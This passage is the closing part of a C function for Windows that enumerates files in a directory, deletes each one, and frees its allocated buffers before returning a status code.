				if (!DeleteFileW(pFilePath) && !bIgnoreErrors)
				{
					Status = GetLastError();
					break;
				}
			}

		} while(FindNextFileW(hFind, FindFileData));

	} while (FALSE);

	if (FindFileData)
		AppFree(FindFileData);

	if (pSearchPath)
		AppFree(pSearchPath);

	if (pFilePath)
		AppFree(pFilePath);

	return(Status);
}